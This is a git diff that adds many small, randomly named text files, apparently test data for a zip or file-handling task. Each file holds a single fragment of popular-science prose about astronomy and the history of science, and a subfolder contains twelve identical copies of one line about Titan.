diff --git a/big_zip/big-zip-files/ctbqrtfa.txt b/big_zip/big-zip-files/ctbqrtfa.txt
new file mode 100644
index 0000000..d7fbcf3
--- /dev/null
+++ b/big_zip/big-zip-files/ctbqrtfa.txt
@@ -0,0 +1 @@
+turquoise to celebrate the power of the Sun. They also monitored the apparent motion of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cunczngzjlhzorkzhinhiddf.txt b/big_zip/big-zip-files/cunczngzjlhzorkzhinhiddf.txt
new file mode 100644
index 0000000..11d7ee5
--- /dev/null
+++ b/big_zip/big-zip-files/cunczngzjlhzorkzhinhiddf.txt
@@ -0,0 +1 @@
+troubling they became. Paradoxes seemed to emerge everywhere if you could travel at the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cycwchqacxqshtfrpxw.txt b/big_zip/big-zip-files/cycwchqacxqshtfrpxw.txt
new file mode 100644
index 0000000..b7ad74e
--- /dev/null
+++ b/big_zip/big-zip-files/cycwchqacxqshtfrpxw.txt
@@ -0,0 +1 @@
+From our galaxy to the nearest spiral galaxy, M31, also in the constellation Andromeda, is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cyhmcpvueadspy.txt b/big_zip/big-zip-files/cyhmcpvueadspy.txt
new file mode 100644
index 0000000..d38ac25
--- /dev/null
+++ b/big_zip/big-zip-files/cyhmcpvueadspy.txt
@@ -0,0 +1 @@
+interstellar gas, where they are swept up in a subsequent generation of cloud collapse and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cylgtnrok.txt b/big_zip/big-zip-files/cylgtnrok.txt
new file mode 100644
index 0000000..b2f2dd6
--- /dev/null
+++ b/big_zip/big-zip-files/cylgtnrok.txt
@@ -0,0 +1 @@
+galaxies are the same as those for the Sun or for appropriate laboratory experiments: not
\ No newline at end of file
diff --git a/big_zip/big-zip-files/cyoorobnbzpjgiutggox.txt b/big_zip/big-zip-files/cyoorobnbzpjgiutggox.txt
new file mode 100644
index 0000000..bf94dd2
--- /dev/null
+++ b/big_zip/big-zip-files/cyoorobnbzpjgiutggox.txt
@@ -0,0 +1 @@
+for a whole year. In 1066 the Normans witnessed another return of Halley’s Comet. Since it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/czgadgwqbisysqolnn.txt b/big_zip/big-zip-files/czgadgwqbisysqolnn.txt
new file mode 100644
index 0000000..60bd431
--- /dev/null
+++ b/big_zip/big-zip-files/czgadgwqbisysqolnn.txt
@@ -0,0 +1 @@
+his ecclesiastical travails is contained in a letter he wrote in the year 1615 to the Grand
\ No newline at end of file
diff --git a/big_zip/big-zip-files/czqjyvxnry.txt b/big_zip/big-zip-files/czqjyvxnry.txt
new file mode 100644
index 0000000..14f3fa8
--- /dev/null
+++ b/big_zip/big-zip-files/czqjyvxnry.txt
@@ -0,0 +1 @@
+At Cambridge University in England, in the forty-five years centered on 1910, the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/damllrzkxauusqwqw.txt b/big_zip/big-zip-files/damllrzkxauusqwqw.txt
new file mode 100644
index 0000000..b537f65
--- /dev/null
+++ b/big_zip/big-zip-files/damllrzkxauusqwqw.txt
@@ -0,0 +1 @@
+might just possibly have turned out differently. The future of the world might have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/danhrkiehvgtav.txt b/big_zip/big-zip-files/danhrkiehvgtav.txt
new file mode 100644
index 0000000..c5c8d8a
--- /dev/null
+++ b/big_zip/big-zip-files/danhrkiehvgtav.txt
@@ -0,0 +1 @@
+creatures from scratch may begin by the end of the century. There is still much to be
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dcputpcuavkxbufroeyktp.txt b/big_zip/big-zip-files/dcputpcuavkxbufroeyktp.txt
new file mode 100644
index 0000000..277ec2a
--- /dev/null
+++ b/big_zip/big-zip-files/dcputpcuavkxbufroeyktp.txt
@@ -0,0 +1 @@
+mathematicians, Kepler was diffident about Tycho’s offer. But the decision was made for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dcuimzxepc.txt b/big_zip/big-zip-files/dcuimzxepc.txt
new file mode 100644
index 0000000..e8d0a50
--- /dev/null
+++ b/big_zip/big-zip-files/dcuimzxepc.txt
@@ -0,0 +1 @@
+tools of scientific inquiry lay moldering, the Ionian approach, in some cases transmitted
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dfnvxzxlco.txt b/big_zip/big-zip-files/dfnvxzxlco.txt
new file mode 100644
index 0000000..668cdc4
--- /dev/null
+++ b/big_zip/big-zip-files/dfnvxzxlco.txt
@@ -0,0 +1 @@
+unrepresentative sampling of the organisms that lived in late Mesozoic times.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dibrrpeagiytqfa.txt b/big_zip/big-zip-files/dibrrpeagiytqfa.txt
new file mode 100644
index 0000000..e7762c7
--- /dev/null
+++ b/big_zip/big-zip-files/dibrrpeagiytqfa.txt
@@ -0,0 +1 @@
+* The albedo is the fraction of the sunlight striking a planet that is reflected back to space. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dicfnmcgqloxhpobcsi.txt b/big_zip/big-zip-files/dicfnmcgqloxhpobcsi.txt
new file mode 100644
index 0000000..ce18b1f
--- /dev/null
+++ b/big_zip/big-zip-files/dicfnmcgqloxhpobcsi.txt
@@ -0,0 +1 @@
+phenomena of Nature is so great, and the treasures hidden in the heavens so rich,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/djihzsch.txt b/big_zip/big-zip-files/djihzsch.txt
new file mode 100644
index 0000000..796975b
--- /dev/null
+++ b/big_zip/big-zip-files/djihzsch.txt
@@ -0,0 +1 @@
+A star like the Sun will end its days, as we have seen, as a red giant and then a white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dkiebxuflzvaboocebgf.txt b/big_zip/big-zip-files/dkiebxuflzvaboocebgf.txt
new file mode 100644
index 0000000..5d3c475
--- /dev/null
+++ b/big_zip/big-zip-files/dkiebxuflzvaboocebgf.txt
@@ -0,0 +1 @@
+The best photographs then available of Mars - from the Mariner 9 orbiter - showed
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dkwntxxlfcd.txt b/big_zip/big-zip-files/dkwntxxlfcd.txt
new file mode 100644
index 0000000..ee20a14
--- /dev/null
+++ b/big_zip/big-zip-files/dkwntxxlfcd.txt
@@ -0,0 +1 @@
+‘heaven,’ or sphere for the Moon, Mercury, Venus, the Sun, Mars, Jupiter and Saturn, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dlrhppgcmrcvgzfxyk.txt b/big_zip/big-zip-files/dlrhppgcmrcvgzfxyk.txt
new file mode 100644
index 0000000..939c447
--- /dev/null
+++ b/big_zip/big-zip-files/dlrhppgcmrcvgzfxyk.txt
@@ -0,0 +1 @@
+writes: ‘One must also guard against the risings of the stars, especially of the Dog Star [Sirius], then of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dncsrgjjsicxyyotwi.txt b/big_zip/big-zip-files/dncsrgjjsicxyyotwi.txt
new file mode 100644
index 0000000..ac70ee5
--- /dev/null
+++ b/big_zip/big-zip-files/dncsrgjjsicxyyotwi.txt
@@ -0,0 +1 @@
+he wrote: ‘I do not know what I may appear to the world; but to myself I seem to have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dozkutuztpltjxzbewbndcp.txt b/big_zip/big-zip-files/dozkutuztpltjxzbewbndcp.txt
new file mode 100644
index 0000000..9176062
--- /dev/null
+++ b/big_zip/big-zip-files/dozkutuztpltjxzbewbndcp.txt
@@ -0,0 +1 @@
+attempts by gods with a predilection for experiment to make people. Early tries were far off the mark, creating
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dpdzsjomwjnksklqumyub.txt b/big_zip/big-zip-files/dpdzsjomwjnksklqumyub.txt
new file mode 100644
index 0000000..726ae72
--- /dev/null
+++ b/big_zip/big-zip-files/dpdzsjomwjnksklqumyub.txt
@@ -0,0 +1 @@
+From an intergalactic vantage point we would see, strewn like sea froth on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dphjloeymftmk.txt b/big_zip/big-zip-files/dphjloeymftmk.txt
new file mode 100644
index 0000000..17e333b
--- /dev/null
+++ b/big_zip/big-zip-files/dphjloeymftmk.txt
@@ -0,0 +1 @@
+neurons, comparable to the number of stars in the Milky Way Galaxy. Many neurons have
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dqgssvhbn.txt b/big_zip/big-zip-files/dqgssvhbn.txt
new file mode 100644
index 0000000..b55682e
--- /dev/null
+++ b/big_zip/big-zip-files/dqgssvhbn.txt
@@ -0,0 +1 @@
+We eat berries and roots. Nuts and leaves. And dead animals. Some animals wefind. Some we kill. We know which foods are good and which are dangerous. If we taste
\ No newline at end of file
diff --git a/big_zip/big-zip-files/drdvufgoqustbrxagsuz.txt b/big_zip/big-zip-files/drdvufgoqustbrxagsuz.txt
new file mode 100644
index 0000000..a77c486
--- /dev/null
+++ b/big_zip/big-zip-files/drdvufgoqustbrxagsuz.txt
@@ -0,0 +1 @@
+Mediterranean origin and is pronounced throughout the rest of Europe, correctly, as ‘ee-oh.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dsksriurno.txt b/big_zip/big-zip-files/dsksriurno.txt
new file mode 100644
index 0000000..a8ccba2
--- /dev/null
+++ b/big_zip/big-zip-files/dsksriurno.txt
@@ -0,0 +1 @@
+Galileo, Tycho and Copernicus were all committed to uniform circular planetary motion,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dsrkerhwvinzzdbnpfqt.txt b/big_zip/big-zip-files/dsrkerhwvinzzdbnpfqt.txt
new file mode 100644
index 0000000..3c6a780
--- /dev/null
+++ b/big_zip/big-zip-files/dsrkerhwvinzzdbnpfqt.txt
@@ -0,0 +1 @@
+when our vision and understanding and prospects are bound exclusively to the Earth - or,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dswzrguxkyaqvgqzevudu.txt b/big_zip/big-zip-files/dswzrguxkyaqvgqzevudu.txt
new file mode 100644
index 0000000..5adf8ee
--- /dev/null
+++ b/big_zip/big-zip-files/dswzrguxkyaqvgqzevudu.txt
@@ -0,0 +1 @@
+the planets are poised to send nuclear warheads to the nations. The radioactive power
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dwwfftgci.txt b/big_zip/big-zip-files/dwwfftgci.txt
new file mode 100644
index 0000000..6c51a94
--- /dev/null
+++ b/big_zip/big-zip-files/dwwfftgci.txt
@@ -0,0 +1 @@
+the work was admired by many, including Czar Peter the Great, who made it the first
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dzhwmfpxdcfjhhhaz.txt b/big_zip/big-zip-files/dzhwmfpxdcfjhhhaz.txt
new file mode 100644
index 0000000..42da472
--- /dev/null
+++ b/big_zip/big-zip-files/dzhwmfpxdcfjhhhaz.txt
@@ -0,0 +1 @@
+the Sun will be triggered into a second round of fusion reactions.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dzlutzlxxuizv.txt b/big_zip/big-zip-files/dzlutzlxxuizv.txt
new file mode 100644
index 0000000..5abf815
--- /dev/null
+++ b/big_zip/big-zip-files/dzlutzlxxuizv.txt
@@ -0,0 +1 @@
+more serious wars, where a hundred thousand (10 5 ) or a million (10 6 ) people are killed.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/dzvepguhreczbpilfplck.txt b/big_zip/big-zip-files/dzvepguhreczbpilfplck.txt
new file mode 100644
index 0000000..8dbe775
--- /dev/null
+++ b/big_zip/big-zip-files/dzvepguhreczbpilfplck.txt
@@ -0,0 +1 @@
+ever-tightening spiral, and gas and dust accumulate in spiral patterns of greater density,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ebrdglksmojnv.txt b/big_zip/big-zip-files/ebrdglksmojnv.txt
new file mode 100644
index 0000000..a1cf6d8
--- /dev/null
+++ b/big_zip/big-zip-files/ebrdglksmojnv.txt
@@ -0,0 +1 @@
+proposed that an object of planetary mass, which he called a comet, was somehow
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ebszqfblrykygbr.txt b/big_zip/big-zip-files/ebszqfblrykygbr.txt
new file mode 100644
index 0000000..3473bcc
--- /dev/null
+++ b/big_zip/big-zip-files/ebszqfblrykygbr.txt
@@ -0,0 +1 @@
+significant. Prescott writes: ‘The percent likelihood of a society becoming physically
\ No newline at end of file
diff --git a/big_zip/big-zip-files/eexgjdrflkkyksavwwvel.txt b/big_zip/big-zip-files/eexgjdrflkkyksavwwvel.txt
new file mode 100644
index 0000000..2827855
--- /dev/null
+++ b/big_zip/big-zip-files/eexgjdrflkkyksavwwvel.txt
@@ -0,0 +1 @@
+weight of the atmosphere high and prevents blowoff. Or perhaps blowoff is happening, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/efdbvzcooaz.txt b/big_zip/big-zip-files/efdbvzcooaz.txt
new file mode 100644
index 0000000..7b67539
--- /dev/null
+++ b/big_zip/big-zip-files/efdbvzcooaz.txt
@@ -0,0 +1 @@
+Opening his two eyes, [Ra, the Sun god] cast light on Egypt, he separated night
\ No newline at end of file
diff --git a/big_zip/big-zip-files/efitephgxcoxdzjrykuztrv.txt b/big_zip/big-zip-files/efitephgxcoxdzjrykuztrv.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/efitephgxcoxdzjrykuztrv.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/efnlbnbxsbgsrj.txt b/big_zip/big-zip-files/efnlbnbxsbgsrj.txt
new file mode 100644
index 0000000..e186e0c
--- /dev/null
+++ b/big_zip/big-zip-files/efnlbnbxsbgsrj.txt
@@ -0,0 +1 @@
+fundamental tool for understanding the world that was not, so far as we know from written
\ No newline at end of file
diff --git a/big_zip/big-zip-files/efnppbodonaucxpzeqyzltmh.txt b/big_zip/big-zip-files/efnppbodonaucxpzeqyzltmh.txt
new file mode 100644
index 0000000..b64b13c
--- /dev/null
+++ b/big_zip/big-zip-files/efnppbodonaucxpzeqyzltmh.txt
@@ -0,0 +1 @@
+the evidence, and the evidence is not yet in. The real Mars is a world of wonders. Its future
\ No newline at end of file
diff --git a/big_zip/big-zip-files/egstuchiccgvzboexf.txt b/big_zip/big-zip-files/egstuchiccgvzboexf.txt
new file mode 100644
index 0000000..da1f351
--- /dev/null
+++ b/big_zip/big-zip-files/egstuchiccgvzboexf.txt
@@ -0,0 +1 @@
+curious coincidence, to 10 83 or so atoms.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ehfmnwnhmkulm.txt b/big_zip/big-zip-files/ehfmnwnhmkulm.txt
new file mode 100644
index 0000000..87a858c
--- /dev/null
+++ b/big_zip/big-zip-files/ehfmnwnhmkulm.txt
@@ -0,0 +1 @@
+momentum, or spin, while photons have no spin at all. Matter is transparent to neutrinos,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ehqpnpuyuhtwkkutbtsoa.txt b/big_zip/big-zip-files/ehqpnpuyuhtwkkutbtsoa.txt
new file mode 100644
index 0000000..84ce003
--- /dev/null
+++ b/big_zip/big-zip-files/ehqpnpuyuhtwkkutbtsoa.txt
@@ -0,0 +1 @@
+that were destined to become clusters of galaxies. A very small initial nonuniformity
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ejgufqbfexeyljvbzvhvti.txt b/big_zip/big-zip-files/ejgufqbfexeyljvbzvhvti.txt
new file mode 100644
index 0000000..e840cb6
--- /dev/null
+++ b/big_zip/big-zip-files/ejgufqbfexeyljvbzvhvti.txt
@@ -0,0 +1 @@
+up the river. After this came a single sharp bang so loud that one of the workmen . .
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ejmvnoftbepuhjztrpm.txt b/big_zip/big-zip-files/ejmvnoftbepuhjztrpm.txt
new file mode 100644
index 0000000..836795a
--- /dev/null
+++ b/big_zip/big-zip-files/ejmvnoftbepuhjztrpm.txt
@@ -0,0 +1 @@
+beings who lived between the Ionian Awakening and the Italian Renaissance.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/elddhxaxfhxpmyjzlqo.txt b/big_zip/big-zip-files/elddhxaxfhxpmyjzlqo.txt
new file mode 100644
index 0000000..e7edea3
--- /dev/null
+++ b/big_zip/big-zip-files/elddhxaxfhxpmyjzlqo.txt
@@ -0,0 +1 @@
+Rest your neck on a log. Your head goes back. Then you can see only the sky. No
\ No newline at end of file
diff --git a/big_zip/big-zip-files/elssflgvbvs.txt b/big_zip/big-zip-files/elssflgvbvs.txt
new file mode 100644
index 0000000..31bb68e
--- /dev/null
+++ b/big_zip/big-zip-files/elssflgvbvs.txt
@@ -0,0 +1 @@
+in the sky. After Eratosthenes, some may have tried, but not until the time of Magellan did
\ No newline at end of file
diff --git a/big_zip/big-zip-files/eqnqtryakfltmss.txt b/big_zip/big-zip-files/eqnqtryakfltmss.txt
new file mode 100644
index 0000000..bda68e3
--- /dev/null
+++ b/big_zip/big-zip-files/eqnqtryakfltmss.txt
@@ -0,0 +1 @@
+universe is not required to be in perfect harmony with human ambition. Special relativity
\ No newline at end of file
diff --git a/big_zip/big-zip-files/erijtocgacvjtlxhbbiir.txt b/big_zip/big-zip-files/erijtocgacvjtlxhbbiir.txt
new file mode 100644
index 0000000..05a9c51
--- /dev/null
+++ b/big_zip/big-zip-files/erijtocgacvjtlxhbbiir.txt
@@ -0,0 +1 @@
+The only possible explanation is that impact craters are formed at very similar rates on both
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ertonbhir.txt b/big_zip/big-zip-files/ertonbhir.txt
new file mode 100644
index 0000000..d896927
--- /dev/null
+++ b/big_zip/big-zip-files/ertonbhir.txt
@@ -0,0 +1 @@
+everyday life. And his conclusions were fundamentally correct.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/esxecvjtwjwxmqfbp.txt b/big_zip/big-zip-files/esxecvjtwjwxmqfbp.txt
new file mode 100644
index 0000000..bc548a2
--- /dev/null
+++ b/big_zip/big-zip-files/esxecvjtwjwxmqfbp.txt
@@ -0,0 +1 @@
+beneath the ground; on Io, a moon of Jupiter, what seem to be broad channels made byflowing liquid sulfur. There are mighty weather systems on the Earth - and in the high
\ No newline at end of file
diff --git a/big_zip/big-zip-files/etcvtetu.txt b/big_zip/big-zip-files/etcvtetu.txt
new file mode 100644
index 0000000..e98061b
--- /dev/null
+++ b/big_zip/big-zip-files/etcvtetu.txt
@@ -0,0 +1 @@
+of all things. It conveys awe for the intricate and subtle way in which the universe is put
\ No newline at end of file
diff --git a/big_zip/big-zip-files/evwutbxqeobob.txt b/big_zip/big-zip-files/evwutbxqeobob.txt
new file mode 100644
index 0000000..f6aa8f2
--- /dev/null
+++ b/big_zip/big-zip-files/evwutbxqeobob.txt
@@ -0,0 +1 @@
+- Chuang Tzu, about 300 B.C., China
\ No newline at end of file
diff --git a/big_zip/big-zip-files/evzilhgdzejdhkb.txt b/big_zip/big-zip-files/evzilhgdzejdhkb.txt
new file mode 100644
index 0000000..605f06c
--- /dev/null
+++ b/big_zip/big-zip-files/evzilhgdzejdhkb.txt
@@ -0,0 +1 @@
+results. A supernova can be brighter than the combined radiance of all the other stars in the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/exbqrossxasnolqqis.txt b/big_zip/big-zip-files/exbqrossxasnolqqis.txt
new file mode 100644
index 0000000..1c71796
--- /dev/null
+++ b/big_zip/big-zip-files/exbqrossxasnolqqis.txt
@@ -0,0 +1 @@
+or recognized that when ships leave Samos and recede over the horizon, their masts
\ No newline at end of file
diff --git a/big_zip/big-zip-files/exhasiunmh.txt b/big_zip/big-zip-files/exhasiunmh.txt
new file mode 100644
index 0000000..480283f
--- /dev/null
+++ b/big_zip/big-zip-files/exhasiunmh.txt
@@ -0,0 +1 @@
+(denomination, 16 kopecks), which depicted the spacecraft descending through a kind of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/exkfabudqlnajxxhtbfvo.txt b/big_zip/big-zip-files/exkfabudqlnajxxhtbfvo.txt
new file mode 100644
index 0000000..33d26f6
--- /dev/null
+++ b/big_zip/big-zip-files/exkfabudqlnajxxhtbfvo.txt
@@ -0,0 +1 @@
+views of Democritus, Empedocles and other early Ionian scientists who are discussed in Chapter 7.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/exnwydaigvhqhqfhup.txt b/big_zip/big-zip-files/exnwydaigvhqhqfhup.txt
new file mode 100644
index 0000000..4fa210e
--- /dev/null
+++ b/big_zip/big-zip-files/exnwydaigvhqhqfhup.txt
@@ -0,0 +1 @@
+Lowell’s Martians were benign and hopeful, even a little god-like, very different
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ezrlmsslmqk.txt b/big_zip/big-zip-files/ezrlmsslmqk.txt
new file mode 100644
index 0000000..88e3eec
--- /dev/null
+++ b/big_zip/big-zip-files/ezrlmsslmqk.txt
@@ -0,0 +1 @@
+There were only six planets known in Kepler’s time: Mercury, Venus, Earth, Mars,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/faquzzjfy.txt b/big_zip/big-zip-files/faquzzjfy.txt
new file mode 100644
index 0000000..5a5123c
--- /dev/null
+++ b/big_zip/big-zip-files/faquzzjfy.txt
@@ -0,0 +1 @@
+dead. Relativistic spaceflight makes the universe accessible to advanced civilizations, but
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fckioqjkgepfxhhtphmi.txt b/big_zip/big-zip-files/fckioqjkgepfxhhtphmi.txt
new file mode 100644
index 0000000..db76045
--- /dev/null
+++ b/big_zip/big-zip-files/fckioqjkgepfxhhtphmi.txt
@@ -0,0 +1 @@
+We make tools and stay alive. Some of us are experts at splitting, flaking,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fczbrkixpjtglgca.txt b/big_zip/big-zip-files/fczbrkixpjtglgca.txt
new file mode 100644
index 0000000..cf23bb3
--- /dev/null
+++ b/big_zip/big-zip-files/fczbrkixpjtglgca.txt
@@ -0,0 +1 @@
+There are some hundred billion (10 11 ) galaxies, each with, on the average, a hundred
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fepizmlqjvtluvtrfh.txt b/big_zip/big-zip-files/fepizmlqjvtluvtrfh.txt
new file mode 100644
index 0000000..079db69
--- /dev/null
+++ b/big_zip/big-zip-files/fepizmlqjvtluvtrfh.txt
@@ -0,0 +1 @@
+Earth are as old as I, and the ten thousand things are one.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fetwkniezgwgpuajm.txt b/big_zip/big-zip-files/fetwkniezgwgpuajm.txt
new file mode 100644
index 0000000..f46eb9f
--- /dev/null
+++ b/big_zip/big-zip-files/fetwkniezgwgpuajm.txt
@@ -0,0 +1 @@
+the southern third of Greece. His critics thought this estimate excessive and absurd.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/ffnbavadpviycklwm.txt b/big_zip/big-zip-files/ffnbavadpviycklwm.txt
new file mode 100644
index 0000000..f2e9be5
--- /dev/null
+++ b/big_zip/big-zip-files/ffnbavadpviycklwm.txt
@@ -0,0 +1 @@
+States. We deboosted from orbit and entered the Martian atmosphere sixteen days later.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fjhjeirqxaot.txt b/big_zip/big-zip-files/fjhjeirqxaot.txt
new file mode 100644
index 0000000..2b658d8
--- /dev/null
+++ b/big_zip/big-zip-files/fjhjeirqxaot.txt
@@ -0,0 +1 @@
+About two-thirds of the mass of the human brain is in the cerebral cortex, devoted
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fmbalrgl.txt b/big_zip/big-zip-files/fmbalrgl.txt
new file mode 100644
index 0000000..5868af3
--- /dev/null
+++ b/big_zip/big-zip-files/fmbalrgl.txt
@@ -0,0 +1 @@
+the telescope, to the measurement of a clockwork universe, ordered and precise. Kepler’s
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fnldujyoiwermulsc.txt b/big_zip/big-zip-files/fnldujyoiwermulsc.txt
new file mode 100644
index 0000000..905199e
--- /dev/null
+++ b/big_zip/big-zip-files/fnldujyoiwermulsc.txt
@@ -0,0 +1 @@
+all be tested by how well we support our libraries.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/fojogykho.txt b/big_zip/big-zip-files/fojogykho.txt
new file mode 100644
index 0000000..f768237
--- /dev/null
+++ b/big_zip/big-zip-files/fojogykho.txt
@@ -0,0 +1 @@
+discoveries of Shapley and Hubble were made within the lifetimes of many people still
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_acmeueuojgc.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_acmeueuojgc.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_acmeueuojgc.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_cajmcosidrviomjjvsgt.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_cajmcosidrviomjjvsgt.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_cajmcosidrviomjjvsgt.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_fzcgulrafxrpnnpzctpfmd.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_fzcgulrafxrpnnpzctpfmd.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_fzcgulrafxrpnnpzctpfmd.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_hyxtxbvnblbpocifptswlz.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_hyxtxbvnblbpocifptswlz.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_hyxtxbvnblbpocifptswlz.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_klucbpwuorzrakvfy.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_klucbpwuorzrakvfy.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_klucbpwuorzrakvfy.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_papghuqslgdhdqnmdneixwe.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_papghuqslgdhdqnmdneixwe.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_papghuqslgdhdqnmdneixwe.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_qlzmkgcmdyuh.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_qlzmkgcmdyuh.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_qlzmkgcmdyuh.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_qohjcuryk.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_qohjcuryk.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_qohjcuryk.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_sxvssaasdrqnbosite.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_sxvssaasdrqnbosite.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_sxvssaasdrqnbosite.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_warqjfvjxcqcyvxpykp.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_warqjfvjxcqcyvxpykp.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_warqjfvjxcqcyvxpykp.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_wgwbxvghaasyanvnkwnjlrjh.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_wgwbxvghaasyanvnkwnjlrjh.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_wgwbxvghaasyanvnkwnjlrjh.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_ahihjtwxyx/file_ywflbfcj.txt b/big_zip/big-zip-files/folder_ahihjtwxyx/file_ywflbfcj.txt
new file mode 100644
index 0000000..43d27c1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_ahihjtwxyx/file_ywflbfcj.txt
@@ -0,0 +1 @@
+should, because of Titan’s low gravity, rapidly escape to space by a violent process known
\ No newline at end of file
